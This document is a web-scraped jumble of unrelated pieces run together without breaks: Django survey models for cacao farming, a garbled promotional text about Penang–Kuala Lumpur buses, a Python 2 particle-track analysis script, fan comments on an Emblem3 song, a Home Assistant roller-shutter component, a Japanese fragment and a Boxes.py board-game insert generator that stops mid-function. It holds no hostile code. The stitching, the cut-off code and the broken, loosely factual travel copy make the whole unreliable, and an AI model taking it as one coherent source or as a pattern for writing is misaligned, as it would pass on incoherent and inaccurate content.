CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS3 = ( ('A', 'Produce poco'), ('B', 'Granos menudos'), ('C', 'Susceptible a plagas y enfermedades'), ('D', 'No tiene buena estructura'), ('E', 'Necesita mucho abono'), ('F', 'No aplica'), ) class CierreConocimiento3(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_CONOCIMIENTO_TEMA3) criollas = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS3) forastero = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS3) trinitaria = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS3) hibridos = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS3) clones = MultiSelectField(choices=CHOICE_CIERRE_CONOCIMIENTO_RESPUESTAS3) ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 tema 3" CHOICE_CIERRE_SUELO_TEMA1 = ((1, 'Que elementos aportan'),) CHOICE_CIERRE_SUELO_RESPUESTAS1 = ( ('A', 'Nitrógeno'), ('B', 'Fósforo'), ('C', 'Potasio'), ('D', 'Calcio'), ('E', 'Magnesio'), ('F', 'No aplica'), ) class CierreSuelo1(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_SUELO_TEMA1) abono = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS1, verbose_name='Abono verde y coberturas') hojarasca = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS1, verbose_name='Hojarasca de los árboles') organico = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS1, verbose_name='Abono orgánico') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 .2 tema 1" CHOICE_CIERRE_SUELO_TEMA2 = ((1, 'Ventajas de esta práctica'),) CHOICE_CIERRE_SUELO_RESPUESTAS2 = ( ('A', 'Fácil de implementar'), ('B', 'De bajo costo'), ('C', 'No necesita mucha inversión'), ('D', 'No necesita mucha mano de obra'), ('E', 'Aporta al desarrollo de las plantas'), ('F', 'No aplica'), ) class CierreSuelo2(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_SUELO_TEMA2) abono = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS2, verbose_name='Abono verde y coberturas') hojarasca = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS2, verbose_name='Hojarasca de los árboles') organico = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS2, verbose_name='Abono orgánico') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 .2 tema 2" CHOICE_CIERRE_SUELO_TEMA3 = ((1, 'Desventajas de variedades'),) CHOICE_CIERRE_SUELO_RESPUESTAS3 = ( ('A', 'Difícil de implementar'), ('B', 'Alto costo'), ('C', 'Necesita mucha inversión'), ('D', 'Necesita mucha mano de obra'), ('E', 'No aporta al desarrollo de las plantas'), ('F', 'No aplica'), ) class CierreSuelo3(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_SUELO_TEMA3) abono = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS3, verbose_name='Abono verde y coberturas') hojarasca = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS3, verbose_name='Hojarasca de los árboles') organico = MultiSelectField(choices=CHOICE_CIERRE_SUELO_RESPUESTAS3, verbose_name='Abono orgánico') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 .2 tema 3" CHOICE_CIERRE_PLAGA_TEMA1 = ((1, 'Nivel de daño en la parcela'), (2, 'Nivel de daño en las fincas vecinas'),) class CierrePlaga1(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_PLAGA_TEMA1) monilla = models.FloatField() mazorca = models.FloatField('Mazorca Negra') zompopos = models.FloatField() ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 .3 tema 1" CHOICE_CIERRE_PLAGA_TEMA2 = ((1, 'Prácticas para prevenir'),) CHOICE_CIERRE_PLAGA_RESPUESTAS2 = ( ('A', 'Eliminar mazorcas enfermas'), ('B', 'Realizar poda'), ('C', 'Manejo de sombra'), ('D', 'Abonar las plantas'), ('E', 'Buen manejo de piso'), ('F', 'No aplica'), ) CHOICE_CIERRE_PLAGA_RESPUESTAS_ZOMPOPO = ( ('A', 'Eliminar zompoperas'), ('B', 'Realizar caseo'), ('C', 'Sembrar plantas repelentes'), ('D', 'Utilizar cal o ceniza'), ('E', 'Buen manejo de piso'), ('F', 'No aplica'), ) class CierrePlaga2(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_PLAGA_TEMA2) monilla = MultiSelectField(choices=CHOICE_CIERRE_PLAGA_RESPUESTAS2, verbose_name='Monilla') mazorca = MultiSelectField(choices=CHOICE_CIERRE_PLAGA_RESPUESTAS2, verbose_name='Mazorca Negra') zompopos = MultiSelectField(choices=CHOICE_CIERRE_PLAGA_RESPUESTAS_ZOMPOPO, verbose_name='Zompopos') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 .3 tema 2" CHOICE_CIERRE_PLAGA_TEMA3 = ((1, 'Prácticas para controlar'),) CHOICE_CIERRE_PLAGA_RESPUESTAS3 = ( ('A', 'Aplicar caldo sulfo-calcico'), ('B', 'Aplicar fungicidas'), ('C', 'No aplica'), ) CHOICE_CIERRE_PLAGA_RESPUESTAS_ZOMPOPO3 = ( ('A', 'Aplicar venenos en las zompoperas'), ('B', 'Proteger las plantas con plástico'), ('C', 'No aplica'), ) class CierrePlaga3(models.Model): tema = models.IntegerField(choices=CHOICE_CIERRE_PLAGA_TEMA3) monilla = MultiSelectField(choices=CHOICE_CIERRE_PLAGA_RESPUESTAS3, verbose_name='Monilla') mazorca = MultiSelectField(choices=CHOICE_CIERRE_PLAGA_RESPUESTAS3, verbose_name='Mazorca Negra') zompopos = MultiSelectField(choices=CHOICE_CIERRE_PLAGA_RESPUESTAS_ZOMPOPO3, verbose_name='Zompopos') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"4 .3 tema 3" CHOICE_CIERRE_CICLO_TRABAJO1_RESPUESTA = ( (1, 'Mucho'), (2, 'Algo'), (3, 'Poco'), (4, 'Nada '), ) CHOICE_CIERRE_CICLO_TRABAJO2_RESPUESTA = ( (1, 'Todas'), (2, 'Algunas'), (3, 'Pocas'), (4, 'Ninguna'), ) CHOICE_CIERRE_CICLO_TRABAJO3_RESPUESTA = ( (1, 'Demasiada visitas'), (2, 'Adecuadas visitas'), (3, 'Pocas visitas'), ) CHOICE_CIERRE_CICLO_TRABAJO4_RESPUESTA = ( (1, 'Demasiada larga'), (2, 'Adecuado tiempo '), (3, 'Muy corta'), ) CHOICE_CIERRE_CICLO_TRABAJO5_RESPUESTA = ( (1, 'Si y con mucho ánimo'), (2, 'Si pero con poco ánimo'), (3, 'Si porque siento obligado'), (4, 'No quiero seguir'), ) class CierreCicloTrabajo(models.Model): pregunta1 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO1_RESPUESTA, verbose_name='¿Las visitas que hemos realizados han servido para aprender nuevas cosas? ') pregunta2 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO1_RESPUESTA, verbose_name='¿Las visitas que hemos realizados han servido para observar sobre diferentes aspectos de la parcela de cacao? ') pregunta3 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO1_RESPUESTA, verbose_name='¿Las observaciones y discusiones han servido para mejorar el manejo de las parcela de cacao?') pregunta4 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO2_RESPUESTA, verbose_name='¿Han podido implementar las acciones que se acordaron a partir de las visitas?') pregunta5 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO3_RESPUESTA, verbose_name='¿Qué piensa sobre la frecuencia de las visitas?') pregunta6 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO4_RESPUESTA, verbose_name='¿Qué piensa sobre el tiempo que dura cada visita?') pregunta7 = models.IntegerField(choices=CHOICE_CIERRE_CICLO_TRABAJO5_RESPUESTA, verbose_name='¿Quiere seguir trabajando con las visitas para el segundo ciclo?') pregunta8 = models.IntegerField(choices=((1,'Si'),(2,'No'),), verbose_name='Estaría usted interesado organizar un día de campo en su finca para que otras y otros productores vengan a visitar la parcela?') pregunta9 = models.TextField('¿Qué sugiere para mejorar el trabajo de este ciclo?') ficha = models.ForeignKey(FichaCierre) def __unicode__(self): return u"5 ciclo de trabajo"
Now, there is a number of a bus are available to travel to Malaysia. For every year, people are likes to search jobs, higher studies and more in Malaysia. The travelers in Malaysia provide an excellent service to the passengers. Everyone likes to journey in a bus for longer distance. The bus from penang to kl is the famous route to connecting tourist city in Malaysia. The Kuala to penang the coach buses is available to make the passenger sit comfortable and provides relaxed to them. You find the seats of the buses are comfortable and the bus is operated with the variety of operators. If you travel in this route bus you feel more and make the traveling be beautiful. You will see the nature of the place and attractive houses in the city. It is the most hotspots for the tourist like to travel in this bus. The bus is available at the particular time, the tickets are in the printed paper. Choosing the bus from penang to kl is inspiring one, the operators of the bus offer more facilities to the passenger and make a drive with the elegant way. The bus provides an online ticket booking to reduce the time to getting a ticket from the bus. The online ticket booking easy to book and the passenger can book their expected seat of the bus. They provide a movie to enjoy the journey to the passenger and the charge of the ticket is range from the particular area. If you book the ticket on online you need to take it as printed to travel for a bus, before choosing the bus to find if the bus provides comfortable needs are not. The operators provide the best hotel on the traveling. The timing of the bus is schedule on the bus stand and online. They judge to buy one seat for you on the journey. For online booking, their lots of websites are available to book the ticket at your home or anywhere. The coach bus is convenient to everyone to travel to Malaysia. By traveling a train or flight will give a low convenient to the passenger, the bus is the best option to see all the unknown places and safer to travel. If you miss the bus, you contact the driver or ticket counter to stop the bus, while in train or flight there is not option to stop. The included service are season express, alisan golden coach, consortium. The duration for traveling is four hours, sometimes is make excess time which based on the traffic. This way bus provides more traveling on the festival time and gives more economical than the flight. Most of the bus the operators are travel for certain area, remaining place another operator will drive the bus. They have mechanics on the bus if the bus makes sudden problem. The coach picks up the passenger at the starting point of the journey to Kuala. Avoid disappointment of the booked online ticket of the bus for next trip. So, choose this bus to enjoy your journey and get more memories.
import numpy import math import sys import re from scipy import stats #################################################################### def file_len(fname): with open(fname) as f: for i, l in enumerate(f): pass return i + 1 #################################################################### filename = "noname.txt" if (len(sys.argv) == 1): print >> sys.stderr, "usage: ", sys.argv[0], " filename.txt" exit(1) else: filename = sys.argv[1] numofline = file_len(filename) fp = open(filename, "r") # jump first line fp.readline() phidiffvalues = [] x = [] y = [] for i in range(numofline): l = fp.readline() if not l: break p = re.compile(r'\s+') line = p.sub(' ', l) line = line.lstrip() line = line.rstrip() plist = line.split(" ") numof = int(plist[1]) zval = numpy.zeros(numof) rval = numpy.zeros(numof) zval13 = numpy.zeros(numof) rval13 = numpy.zeros(numof) phival = numpy.zeros(numof) charge = 0.0 layersids = "" for j in range(numof): coordline = fp.readline() coordline = p.sub(' ', coordline) coordline = coordline.lstrip() coordline = coordline.rstrip() coordlinelist = coordline.split(" ") layersids += coordlinelist[3] pid = int(coordlinelist[7]) if (pid > 0): charge = 1.0 else: charge = -1.0 xi = float(coordlinelist[0]) yi = float(coordlinelist[1]) zi = float(coordlinelist[2]) ri = math.sqrt(math.pow(xi, 2.0) + math.pow (yi, 2.0)) phii = math.atan2(yi, xi) rval[j] = ri phival[j] = phii zval[j] = zi if (j < 3): rval13[j] = ri zval13[j] = zi paramline = fp.readline() paramline = p.sub(' ', paramline) paramline = paramline.lstrip() paramline = paramline.rstrip() paramlinelist = paramline.split(" ") pt = float(paramlinelist[0]) phi = float(paramlinelist[1]) eta = float(paramlinelist[3]) z0 = float(paramlinelist[4]) theta = 2.0 * math.atan (math.exp(-eta)) pz = pt * math.cos(theta) # quick check for layers id if (layersids != "5678910"): print >> sys.stderr, "Wrong seq: ", layersids else: if pt >= 3.0: print "RZPhi plane using layers 1 and 6: " slope = (phival[5]-phival[0])/(rval[5]-rval[0]) print "layers 1 6 c/pt: ", charge/pt, " slope: ", slope y.append(charge/pt) x.append(slope) intercept = phival[0] - slope*rval[0] print "layers 1 6 phi: ", phi, " intercept: ", intercept, " diff: ", phi-intercept phidiffvalues.append(phi-intercept) print "phi layers 1 6: " print "Num of events: ", len(phidiffvalues) print "Mean val: ", numpy.mean(phidiffvalues) print "STD val: ", numpy.std(phidiffvalues) slope, intercept, r_value, p_value, std_err = stats.linregress(x,y) print "Lin Regr slope, intercept, r_value, p_value, std_err" print slope, intercept, r_value, p_value, std_err fp.close()
My little cousin absolutely adores this song! It's a beautiful song, and I love emblem3. Lyrics is so wonderful! Awesome song! Stood one of their best! The best song ever because it just creates a wonderful atmosphere practically taking you into the song AWESOME! This song is on top because this song describe them.. Reggae band not a boy band.. Pop like song.. And this song rocks! Hands down the best! The verses have so much meaning and very catchy as well. I really wish they put this song on the album! It's so good and I could listen to it all day! That Drew wrote this himself is incredible! Such a talent overload. I also shows how far the boys have came since their first audition and how their dreams have came true. Very chill, mellow song that you can relax to. Also the boys have said in interview that this is the most meaningful song to them. La Di the Di the is the best song that the boys sing. I love Emblem3, and this song shows of that they can all sing in harmony together. This is definitely the best e3 song ever so far! Love this song. it has awesome meaning and really catchy.
"""Support for SCSGate covers.""" import logging import voluptuous as vol from homeassistant.components import scsgate from homeassistant.components.cover import (CoverDevice, PLATFORM_SCHEMA) from homeassistant.const import (CONF_DEVICES, CONF_NAME) import homeassistant.helpers.config_validation as cv _LOGGER = logging.getLogger(__name__) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Required(CONF_DEVICES): cv.schema_with_slug_keys(scsgate.SCSGATE_SCHEMA), }) def setup_platform(hass, config, add_entities, discovery_info=None): """Set up the SCSGate cover.""" devices = config.get(CONF_DEVICES) covers = [] logger = logging.getLogger(__name__) if devices: for _, entity_info in devices.items(): if entity_info[scsgate.CONF_SCS_ID] in scsgate.SCSGATE.devices: continue name = entity_info[CONF_NAME] scs_id = entity_info[scsgate.CONF_SCS_ID] logger.info("Adding %s scsgate.cover", name) cover = SCSGateCover(name=name, scs_id=scs_id, logger=logger) scsgate.SCSGATE.add_device(cover) covers.append(cover) add_entities(covers) class SCSGateCover(CoverDevice): """Representation of SCSGate cover.""" def __init__(self, scs_id, name, logger): """Initialize the cover.""" self._scs_id = scs_id self._name = name self._logger = logger @property def scs_id(self): """Return the SCSGate ID.""" return self._scs_id @property def should_poll(self): """No polling needed.""" return False @property def name(self): """Return the name of the cover.""" return self._name @property def is_closed(self): """Return if the cover is closed.""" return None def open_cover(self, **kwargs): """Move the cover.""" from scsgate.tasks import RaiseRollerShutterTask scsgate.SCSGATE.append_task( RaiseRollerShutterTask(target=self._scs_id)) def close_cover(self, **kwargs): """Move the cover down.""" from scsgate.tasks import LowerRollerShutterTask scsgate.SCSGATE.append_task( LowerRollerShutterTask(target=self._scs_id)) def stop_cover(self, **kwargs): """Stop the cover.""" from scsgate.tasks import HaltRollerShutterTask scsgate.SCSGATE.append_task(HaltRollerShutterTask(target=self._scs_id)) def process_event(self, message): """Handle a SCSGate message related with this cover.""" self._logger.debug("Cover %s, got message %s", self._scs_id, message.toggled)
「Help Shigeru Miyamoto make TIME's top 100! The TIME 100  Are They Worthy? Copyright(C) 2006 ネトサン All Rights Reserved.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (C) 2020 Guillaume Collic # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import math from functools import partial from boxes import Boxes, edges from .dividertray import ( SlotDescriptionsGenerator, DividerSlotsEdge, ) class AgricolaInsert(Boxes): """ Agricola Revised Edition game box insert, including some expansions. """ ui_group = "Misc" description = """ This insert was designed with 3 mm plywood in mind, and should work fine with materials around this thickness. This is an insert for the [Agricola Revised Edition](https://boardgamegeek.com/boardgame/200680/agricola-revised-edition) board game. It is specifically designed around the [Farmers Of The Moor expansion](https://boardgamegeek.com/boardgameexpansion/257344/agricola-farmers-moor), and should also store the [5-6 players expansion](https://boardgamegeek.com/boardgameexpansion/210625/agricola-expansion-5-and-6-players) (not tested, but I tried to take everything into account for it, please inform us if you tested it). It can be stored inside the original game box, including the 2 expansions, with the lid slightly raised. The parts of a given element are mostly generated next to each other vertically. It should be straightforward to match them. Here are the different elements, from left to right in the generated file. #### Card tray The cards are all kept in a tray, with paper dividers to sort them easily. When the tray is not full of cards, wood dividers slides in slots in order to keep the cards from falling into the empty space. There should be enough space for the main game, Farmers Of The Moor, and the 5-6 player expansion, but not much more than that. To keep a lower profile, the cards are at a slight angle, and the paper dividers tabs are horizontal instead of vertical. A small wall keeps the card against one side while the tabs protrude on the other side, above the small wall. The wall with the big hole is the sloped one. It goes between the two "comb-like" walls first, with its two small holes at the bottom. Then there is a low-height long wall with a sloped edge which should go from the sloped wall to the other side. You can finish the tray with the last wall at the end. #### Upper level trays 4 trays with movable walls are used to store resources. They were designed to store them in this order: * Stone / Vegetable / Pig / Cow * Reed / Grain / Sheep * Wood / Clay * Food / Fire The wall would probably be better if fixed instead of movable, but I would like to test with the 5-6 player expansion to be sure their positions are correct with it too. The little feet of the movable wall should be glued. The triangles are put horizontally, with their bases towards the sides. #### Lower level tray The lower level tray is used to store the horses. #### Room/Field tiles Two boxes are generated to store the room/field tiles. One for the wood/field, the other for the clay/stone. They are stored with the main opening upside, but I prefer to use them during play with this face on the side. #### Moor/Forest and miscellaneous tiles A box is generated to store the Moor/Forest tiles, and some other tiles such as the "multiple resources" cardboard tokens. The Moor/Forest tiles are at the same height as the Room/Field, and the upper level trays are directly on them. The horse box and player box are slightly lower. This Moor/Forest box have a lowered corner (the one for the miscellaneous tiles). Two cardboard pieces can be stored between the smaller boxes and the upper level trays (as seen on the picture). Be sure to match the pieces so that the walls with smaller heights are next to each other. #### Players bit boxes Each player has its own box where the bits of his color are stored. The cardboard bed from Farmers Of The Moor is central to this box. * The fences are stored inside the bed * The bed is placed in the box, with holes to keep it there (and to take less height) * The stables are stored in the two corners * The five farmers are stored between the bed and the three walls, alternatively head up and head down. During assembly, the small bars are put in the middle holes. The two bigger holes at the ends are used for the bed feet. The bar keeps the bed from protruding underneath. """ def __init__(self): Boxes.__init__(self) self.addSettingsArgs(edges.FingerJointSettings, surroundingspaces=1.0) def render(self): player_box_height = 34.5 player_box_inner_width = 50.5 bigger_box_inner_height = 36.7 row_width = 37.2 tray_inner_height = 17 box_width = 218 card_tray_height = ( self.thickness * 2 + tray_inner_height + bigger_box_inner_height ) card_tray_width = ( 305.35 - player_box_inner_width * 2 - row_width * 2 - 9 * self.thickness ) self.render_card_divider_tray(card_tray_height, box_width, card_tray_width) self.render_upper_token_trays(tray_inner_height, box_width) wood_room_box_width = 39.8 self.render_room_box(wood_room_box_width, bigger_box_inner_height, row_width) stone_room_box_width = 26.7 self.render_room_box(stone_room_box_width, bigger_box_inner_height, row_width) moor_box_length = 84.6 self.render_moor_box( bigger_box_inner_height, player_box_height, row_width, moor_box_length ) horse_box_margin = 0.5 horse_box_length = ( box_width - wood_room_box_width - stone_room_box_width - moor_box_length - 6 * self.thickness - horse_box_margin ) self.render_horse_box(player_box_height, row_width, horse_box_length) for _ in range(6): self.render_player_box(player_box_height, player_box_inner_width) def render_card_divider_tray( self, card_tray_height, card_tray_length, card_tray_width ): """ The whole tray which contains the cards, including its dividers. Cards are at an angle, to save height. """ self.ctx.save() tray_inner_length = card_tray_length - self.thickness margin_for_score_sheet = 0 # 3 if you want more space for score sheet sleeved_cards_width = 62 + margin_for_score_sheet rad = math.acos(card_tray_height / sleeved_cards_width) angle = math.degrees(rad) cos = math.cos(rad) tan = math.tan(rad) sin = math.sin(rad) slots_number = 19 slot_depth = 30 slot_descriptions = SlotDescriptionsGenerator().generate_all_same_angles( [tray_inner_length / slots_number for _ in range(slots_number)], self.thickness, 0.2, slot_depth, card_tray_height, angle, ) slot_descriptions.adjust_to_target_length(tray_inner_length) sloped_wall_height = sleeved_cards_width - self.thickness * (tan + 1 / tan) sloped_wall_posx_at_y0 = ( tray_inner_length - sloped_wall_height * tan - cos * self.thickness ) sloped_wall_posx = sloped_wall_posx_at_y0 + cos * self.thickness / 2 sloped_wall_posy = sin * self.thickness / 2 dse = DividerSlotsEdge(self, slot_descriptions.descriptions) for _ in range(2): self.rectangularWall( tray_inner_length, card_tray_height, ["e", "e", dse, "f"], move="up", callback=[ partial( lambda: self.fingerHolesAt( sloped_wall_posx, sloped_wall_posy, sloped_wall_height, angle=90 - angle, ) ) ], ) # generate spacer spacer_height = card_tray_height / 2 spacer_spacing = card_tray_width-99.8 spacer_upper_width = sloped_wall_posx_at_y0 + spacer_height * tan self.trapezoidWall( spacer_height, spacer_upper_width, sloped_wall_posx_at_y0, "fefe", move="up rotated", ) self.rectangularWall( card_tray_width, card_tray_height, "eFeF", move="up", callback=[ partial( lambda: self.fingerHolesAt( spacer_spacing - self.thickness / 2, 0, spacer_height ) ) ], ) self.rectangularWall( card_tray_width, sloped_wall_height, "efef", move="up", callback=[ partial( self.generate_card_tray_sloped_wall_holes, card_tray_width, sloped_wall_height, spacer_height, spacer_spacing, rad, ) ], ) self.ctx.restore() self.rectangularWall(card_tray_length, 0, "FFFF", move="right only") self.ctx.save() divider_height = sleeved_cards_width - self.thickness * tan self.generate_divider( card_tray_width, divider_height, slot_depth, spacer_spacing, "up" ) self.explain( [ "Wood divider", "Hard separation to keep the card", "from slipping in empty space left.", "Takes more space, but won't move.", "Duplicate as much as you want", "(I use 2).", ] ) self.ctx.restore() self.rectangularWall(card_tray_width, 0, "ffff", move="right only") self.ctx.save() self.generate_paper_divider( card_tray_width, sleeved_cards_width, slot_depth, spacer_spacing, "up" ) self.explain( [ "Paper divider", "Soft separation to search easily", "the card group you need", "(by expansion, number of player,", "etc.).", "Duplicate as much as you want", "(I use 7).", ] ) self.ctx.restore() self.rectangularWall(card_tray_width, 0, "ffff", move="right only") def explain(self, strings): self.text( str.join( "\n", strings, ), fontsize=7, align="bottom left", ) def generate_sloped_wall_holes(self, side_wall_length, rad, sloped_wall_height): cos = math.cos(rad) tan = math.tan(rad) sin = math.sin(rad) posx_at_y0 = side_wall_length - sloped_wall_height * tan posx = posx_at_y0 - cos * self.thickness / 2 posy = sin * self.thickness / 2 self.fingerHolesAt(posx, posy, sloped_wall_height, angle=90 - math.degrees(rad)) def generate_card_tray_sloped_wall_holes( self, side_wall_length, sloped_wall_height, spacer_height, spacer_spacing, rad ): # Spacer finger holes self.fingerHolesAt( side_wall_length - (spacer_spacing - self.thickness / 2), # the sloped wall doesn't exactly touch the bottom of the spacer -self.thickness * math.tan(rad), spacer_height / math.cos(rad), ) # Big hole to access "lost" space behind sloped wall radius = 5 padding = 8 total_loss = 2 * radius + 2 * padding self.moveTo(radius + padding, padding) self.polyline( side_wall_length - total_loss, (90, radius), sloped_wall_height - total_loss, (90, radius), side_wall_length - total_loss, (90, radius), sloped_wall_height - total_loss, (90, radius), ) def generate_paper_divider(self, width, height, slot_depth, spacer_spacing, move): """ A card separation made of paper, which moves freely in the card tray. Takes less space and easy to manipulate, but won't block cards in place. """ if self.move(width, height, move, True): return margin = 0.5 actual_width = width - margin self.polyline( actual_width - spacer_spacing, 90, height - slot_depth, -90, spacer_spacing, 90, slot_depth, 90, actual_width, 90, height, 90, ) # Move for next piece self.move(width, height, move) def generate_divider(self, width, height, slot_depth, spacer_spacing, move): """ A card separation made of wood which slides in the side slots. Can be useful to do hard separations, but takes more space and less movable than the paper ones. """ total_width = width + 2 * self.thickness if self.move(total_width, height, move, True): return radius = 16 padding = 20 divider_notch_depth = 35 self.polyline( self.thickness + spacer_spacing + padding - radius, (90, radius), divider_notch_depth - radius - radius, (-90, radius), width - 2 * radius - 2 * padding - spacer_spacing, (-90, radius), divider_notch_depth - radius - radius, (90, radius), self.thickness + padding - radius, 90, slot_depth, 90, self.thickness, -90, height - slot_depth, 90, width - spacer_spacing, 90, height - slot_depth, -90, self.thickness + spacer_spacing, 90, slot_depth, ) # Move for next piece self.move(total_width, height, move) def render_horse_box(self, player_box_height, row_width, width): """ Box for the horses on lower level. Same height as player boxes. """ length = 2 * row_width + 3 * self.thickness self.render_simple_tray(width, length, player_box_height) def render_moor_box( self, bigger_box_inner_height, player_box_height, row_width, length ): """ Box for the moor/forest tiles, and the cardboard tokens with multiple units of resources. A corner is lowered (the one for the tokens) at the same height as player boxes to store 2 levels of small boards there. """ self.ctx.save() height = bigger_box_inner_height lowered_height = player_box_height - self.thickness lowered_corner_height = height - lowered_height corner_length = 53.5 self.rectangularWall( length, 2 * row_width + self.thickness, "FfFf", move="up", callback=[ partial( lambda: self.fingerHolesAt( 0, row_width + 0.5 * self.thickness, length, 0 ) ) ], ) for i in range(2): self.rectangularWall( length, lowered_height, [ "f", "f", MoorBoxSideEdge( self, corner_length, lowered_corner_height, i % 2 == 0 ), "f", ], move="up", ) self.rectangularWall(length, height / 2, "ffef", move="up") for i in range(2): self.rectangularWall( 2 * row_width + self.thickness, lowered_height, [ "F", "F", MoorBoxHoleEdge(self, height, lowered_corner_height, i % 2 == 0), "F", ], move="up", callback=[ partial(self.generate_side_finger_holes, row_width, height / 2) ], ) self.ctx.restore() self.rectangularWall(length, 0, "FFFF", move="right only") def generate_side_finger_holes(self, row_width, height): self.fingerHolesAt(row_width + 0.5 * self.thickness, 0, height) def render_room_box(self, width, height, row_width): """ A box in which storing room/field tiles. """ border_height = 12 room_box_length = row_width * 2 + self.thickness self.ctx.save() self.rectangularWall( room_box_length, height, "eFfF", move="up", callback=[partial(self.generate_side_finger_holes, row_width, height)], ) self.rectangularWall( room_box_length, width, "FFfF", move="up", callback=[partial(self.generate_side_finger_holes, row_width, width)], ) self.rectangularWall( room_box_length, border_height, "FFeF", move="up", callback=[ partial(self.generate_side_finger_holes, row_width, border_height) ], ) for _ in range(3): self.trapezoidWall(width, height, border_height, "ffef", move="up") self.ctx.restore() self.rectangularWall(room_box_length, 0, "FFFF", move="right only") def render_player_box(self, player_box_height, player_box_inner_width): """ A box in which storing all the bits of a single player, including (and designed for) the cardboard bed from Farmers Of The Moor. """ self.ctx.save() bed_inner_height = player_box_height - self.thickness bed_inner_length = 66.75 bed_inner_width = player_box_inner_width cardboard_bed_foot_height = 6.5 cardboard_bed_hole_margin = 5 cardboard_bed_hole_length = 12 bed_head_length = 20 bed_foot_height = 18 support_length = 38 bed_edge = Bed2SidesEdge( self, bed_inner_length, bed_head_length, bed_foot_height ) noop_edge = NoopEdge(self) self.ctx.save() optim_180_x = ( bed_inner_length + self.thickness + bed_head_length + 2 * self.spacing ) optim_180_y = 2 * bed_foot_height - player_box_height + 2 * self.spacing for _ in range(2): self.rectangularWall( bed_inner_length, bed_inner_height, ["F", bed_edge, noop_edge, "F"], move="up", ) self.moveTo(optim_180_x, optim_180_y, -180) self.ctx.restore() self.moveTo(0, bed_inner_height + self.thickness + self.spacing + optim_180_y) self.rectangularWall( bed_inner_length, bed_inner_width, "feff", move="up", callback=[ partial( self.generate_bed_holes, bed_inner_width, cardboard_bed_hole_margin, cardboard_bed_hole_length, support_length, ) ], ) self.ctx.save() self.rectangularWall( bed_inner_width, bed_inner_height, ["F", "f", BedHeadEdge(self, bed_inner_height - 15), "f"], move="right", ) for _ in range(2): self.rectangularWall( cardboard_bed_foot_height - self.thickness, support_length, "efee", move="right", ) self.ctx.restore() self.rectangularWall( bed_inner_width, bed_inner_height, "Ffef", move="up only", ) self.ctx.restore() self.rectangularWall( bed_inner_length + bed_head_length + self.spacing - self.thickness, 0, "FFFF", move="right only", ) def generate_bed_holes(self, width, margin, hole_length, support_length): support_start = margin + hole_length bed_width = 29.5 bed_space_to_wall = (width - bed_width) / 2 bed_feet_width = 3 posy_1 = bed_space_to_wall posy_2 = width - bed_space_to_wall for y, direction in [(posy_1, 1), (posy_2, -1)]: bed_feet_middle_y = y + direction * bed_feet_width / 2 support_middle_y = y + direction * self.thickness / 2 self.rectangularHole( margin, bed_feet_middle_y, hole_length, bed_feet_width, center_x=False, ) self.fingerHolesAt(support_start, support_middle_y, support_length, angle=0) self.rectangularHole( support_start + support_length, bed_feet_middle_y, hole_length, bed_feet_width, center_x=False, ) def render_upper_token_trays(self, tray_inner_height, box_width): """ Upper level : multiple trays for each ressource (beside horses which are on the lower level) """ tray_height = tray_inner_height + self.thickness upper_level_width = 196 upper_level_length = box_width row_width = upper_level_width / 3 # Stone / Vegetable / Pig / Cow self.render_simple_tray(row_width, upper_level_length, tray_height, 3) # Reed / Grain / Sheep self.render_simple_tray(row_width, upper_level_length * 2 / 3, tray_height, 2) # Wood / Clay self.render_simple_tray(row_width, upper_level_length * 2 / 3, tray_height, 1) # Food / Fire self.render_simple_tray(upper_level_length / 3, row_width * 2, tray_height, 1) def render_simple_tray(self, outer_width, outer_length, outer_height, dividers=0): """ One of the upper level trays, with movable dividers. """ width = outer_width - 2 * self.thickness length = outer_length - 2 * self.thickness height = outer_height - self.thickness self.ctx.save() self.rectangularWall(width, length, "FFFF", move="up") for _ in range(2): self.rectangularWall(width, height, "ffef", move="up") self.ctx.restore() self.rectangularWall(width, length, "FFFF", move="right only") for _ in range(2): self.rectangularWall(height, length, "FfFe", move="right") if dividers: self.ctx.save() for _ in range(dividers): self.render_simple_tray_divider(width, height, "up") self.ctx.restore() self.render_simple_tray_divider(width, height, "right only") def render_simple_tray_divider(self, width, height, move): 